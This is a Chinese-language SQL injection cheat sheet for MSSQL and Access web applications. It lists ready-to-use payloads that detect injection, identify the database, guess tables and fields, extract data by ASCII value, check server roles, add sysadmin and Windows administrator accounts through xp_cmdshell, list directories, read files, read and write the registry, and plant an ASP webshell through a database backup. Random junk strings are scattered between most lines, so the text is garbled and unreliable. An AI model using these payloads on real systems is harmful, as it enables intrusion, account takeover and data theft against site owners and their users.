1.判断是否有注入;and 1=1 ;and 1=2 ~<R~Q:T
2.初步判断是否是mssql ;and user>0 hZG{"O!2s
ZS;kCdL
3.注入参数是字符'and [查询条件] and ''=' ^ZBkt7
m>:ig\
4.搜索时没过滤参数的'and [查询条件] and '%25'=' nJw1Sl5
l,8|E
5.判断数据库系统 #r}c<?>Vw
(P_+m#
;and (select count(*) from sysobjects)>0 mssql AIo;\35
|%9~W^b
;and (select count(*) from msysobjects)>0 access [a6lE"yr
$o^}<)DW
B-zt(HG
L1+cv;t
6.猜数据库 ;and (select Count(*) from [数据库名])>0 pgi7 JQ
pYQs|5d
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 sIM`Q%
XRin~wz|S
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 b6VAyTa
SS-
9.(1)猜字段的ascii值(access) }DwXs` M7
Q5ao2-\
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 4 .qjTR
VW/1[?HG5
(2)猜字段的ascii值(mssql) >X,6
IHfqW?
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 AS
u l
v]sGdZ(6-
10.测试权限结构(mssql) 3M`J.>
ea/6$f9^
yK;I<8+>_
X}
8U-N6)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- $S/ 8T
=="SW"vNi
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- uEY5&wX`
,;}RIcvQV
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- (~4AG \
=cY]cPO
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- n9ih^H
?,[w6O*
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ujBADDwOg)
uWQ.h ,
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ==9Ez
l0V@19Ec
;and 1=(select IS_MEMBER('db_owner'));-- N*;/~bt7P
}qg&2M%\
\zU R9h
Nq8A vBwo4
11.添加mssql和系统的帐户 z'*>Tk8h
v4G kf
;exec master.dbo.sp_addlogin username;-- uR[i9%=8L(
;exec master.dbo.sp_password null,username,password;-- R7>@-EG
p-_j0zv
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0rj* SC_
_L ].n)b
;exec master.dbo.xp_cmdshell 'net user username password Ig2VJ s;
[; bLlS,
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- |ipppE=
_4w%U[GT,
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 'tj4 ;+xf^
IG\\RYr
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- /e,lD)
Hqk2W*UTl
)sr]}S0
BN67o]*]<
12.(1)遍历目录 :A[/;|&
H#:Yw|t
;create table dirs(paths varchar(100), id int) im`^_zebj
){Y2TWW&0
;insert dirs exec master.dbo.xp_dirtree 'c:\' 4+0Zj+
q";
62q-7nV
;and (select top 1 paths from dirs)>0 Y;WrfO$J
- K{ID$!p
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) !~#31kL&
q]aRJ`9f
[S%
t +VPX2
(2)遍历目录 n >^?BU
S_atEmQ
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ZL
Aq8X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3 ren1
U7N<!6
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 H D>{UU?
utXcfKdt
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 e:]$UAzp
;-F#a+2]!
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 -MZ Eli g
K':f!sZ&2
RDbA"e5x
_gHJ4(?w
13.mssql中的存储过程 KRQ/wuv
|cacMgly
xp_regenumvalues 注册表根键, 子键 D'X'h}+2
F&\o1g-L
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 {XAKf_Cg
H0S7k`.
xp_regread 根键,子键,键值名 VQCPgs
x+&&[>-P
;exec xp_regread Jg:'gF]jt
q:'(1y~
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6m]L{ buP
J' ;tpr
xp_regwrite 根键,子键, 值名, 值类型, 值
>Y:ouN~<
8CL05:&
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Ce:kMkJ
7D,+1>5^Ne
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 wsARH>Vz
1VeCAx[e
xp_regdeletevalue 根键,子键,值名 otOl7XF
Ldu!uihx
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 N\u-8nE5
Kfi A 7W
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 cb+!H>+
R#t~i&v/
<:p&P
/[IK[
14.mssql的backup创建webshell P_;oSN|>
LZeR.8XM>
use model ;rFa I^
srCjq
create table cmd(str image); 1yo@CaW[\
* PZ=$>r
insert into cmd(str) values (''); #
;9KDt@
`yhL11]~
backup database model to disk='c:\l.asp'; yP@=x!$
}E=mZZ)
lIf Our
j6\{j#q
15.mssql内置函数 I%ez_VG
Lh+^GQ
;and (select @@version)>0 获得Windows的版本号 BdceINI
$6_J`7
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \6N\6=t!A
YC$pT
;and (select user_name())>0 爆当前系统的连接用户 6O"0?wG+
&^}w|J?
;and (select db_name())>0 得到当前连接的数据库 '?d[ ip
E?;W@MJi
m'S-h'a
BH}u\K
16.简洁的webshell N\p3*#M
Zd%*,\`S
use model l6O2B/2j
71~V*
create table cmd(str image); wxoBq{r;
L3/ua
insert into cmd(str) values (''); j8PK\j[
x&;SLEM
backup database model to disk='g:\wwwtest\l.asp';